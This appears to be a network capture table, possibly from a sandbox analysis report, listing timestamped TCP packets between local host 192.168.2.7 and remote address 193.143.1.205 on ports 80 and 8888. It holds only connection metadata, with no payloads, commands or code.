Jan 10, 2025 14:32:15.844871044 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.844935894 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.844949007 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.844960928 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.844973087 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.844985008 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.844995022 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.844999075 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.845014095 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845031023 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.845057964 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.845074892 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845086098 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845097065 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845108032 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845112085 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.845118999 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845129967 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845139980 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.845140934 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845165014 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845177889 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845182896 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.845182896 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.845218897 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.845694065 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845706940 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845717907 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845736027 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845746040 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845752954 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845767975 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.845792055 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845803022 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.845804930 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.845849991 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.846005917 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846287966 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846299887 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846311092 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846323013 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846334934 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846337080 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.846347094 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846353054 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.846359968 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846370935 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846374989 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.846383095 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846396923 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846405029 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.846415997 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846421957 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.846427917 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846447945 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846460104 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846470118 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846470118 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.846482992 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846493959 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846498013 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.846508980 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846517086 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.846522093 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846533060 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846535921 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.846553087 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.846561909 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.846601963 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.847054005 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.847067118 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.847079039 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.847117901 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.847121000 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.847132921 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.847162008 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.847212076 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.847223997 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.847234964 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.847248077 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.847264051 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.847309113 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.847505093 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.847546101 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.847580910 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.847592115 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.847604990 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.847615957 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.847628117 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.847630024 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.847651958 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.848537922 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.860240936 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.860968113 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.860979080 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.860996008 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.861007929 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.861018896 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.861031055 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.861040115 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.861040115 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.861074924 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.861090899 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.861109018 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.861119032 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.861128092 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.861135960 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.861145973 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.861156940 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.861169100 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.861179113 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.861186028 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.861186028 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.861191034 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.861203909 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.861208916 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.861215115 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.861304045 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.861304045 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.893841982 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.893855095 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.893866062 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.893906116 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.893918037 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.893927097 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.893929958 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.893948078 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.893966913 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.893985033 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.893987894 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.893992901 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894006014 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894018888 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894027948 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894031048 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894049883 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894062996 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894063950 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894083023 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894099951 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894102097 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894102097 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894112110 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894128084 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894180059 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894191980 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894212961 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894226074 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894274950 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894292116 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894304037 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894315004 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894326925 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894339085 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894351006 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894359112 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894359112 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894382954 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894396067 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894407988 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894419909 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894431114 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894443035 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894458055 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894458055 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894489050 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894526958 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894540071 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894552946 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894563913 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894572020 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894576073 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894587994 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894599915 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894604921 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894612074 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894627094 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894634008 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894639015 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894653082 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894655943 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894670963 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894692898 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894694090 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894705057 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894716978 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894727945 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894731998 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894741058 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894751072 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894757986 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894773006 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894785881 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894798040 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894804001 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894804001 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894814014 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894824982 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894836903 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894844055 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894848108 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894855976 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894860983 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894876003 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894896030 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894901037 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894901037 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894907951 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894929886 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894942045 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894949913 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894962072 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894974947 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894987106 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.894990921 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.894990921 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.895004988 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895015955 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895026922 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895040035 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895044088 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.895052910 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.895057917 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895068884 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895080090 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895092010 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895103931 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895134926 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.895134926 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.895136118 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.895179987 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895190954 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895200968 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895212889 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895220041 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.895227909 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895240068 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895251036 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895261049 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895272970 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895292044 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.895292044 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.895292044 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.895334959 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.895339966 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895353079 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895370960 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895381927 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895392895 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895404100 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895414114 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895421982 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.895421982 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.895427942 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895440102 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895451069 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.895456076 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.895473957 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.895490885 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.927539110 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.927568913 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.927582026 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.927628994 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.927642107 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.927645922 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.927654028 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.927683115 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.927690029 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.927694082 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.927702904 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.927716017 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.927751064 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.927763939 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.927774906 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.927809000 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.927809000 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.927854061 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.927867889 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.927911997 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.927911997 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.949465036 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.949522972 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.949542999 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.949556112 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.949573994 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.949578047 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.949587107 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.949599028 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.949604988 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.949615955 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.949625015 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.949626923 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.949675083 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.949681997 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.949738979 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.949744940 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.949757099 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.949769020 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.949788094 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.949800014 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.949811935 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.949855089 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.949855089 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.949855089 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.973771095 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.982328892 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982341051 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982403040 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.982418060 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982430935 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982441902 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982453108 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982471943 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982492924 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982505083 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982515097 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.982515097 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.982523918 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982536077 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982547045 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982558966 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982558966 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.982559919 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.982578039 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982599974 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982610941 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982623100 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982624054 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.982624054 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.982635975 CET	80	49717	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:15.982719898 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:15.982721090 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:16.043343067 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:16.046073914 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:16.493298054 CET	49717	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:17.029570103 CET	49734	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:17.035356998 CET	8888	49734	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:17.035437107 CET	49734	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:17.035615921 CET	49734	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:17.042144060 CET	8888	49734	193.143.1.205	192.168.2.7
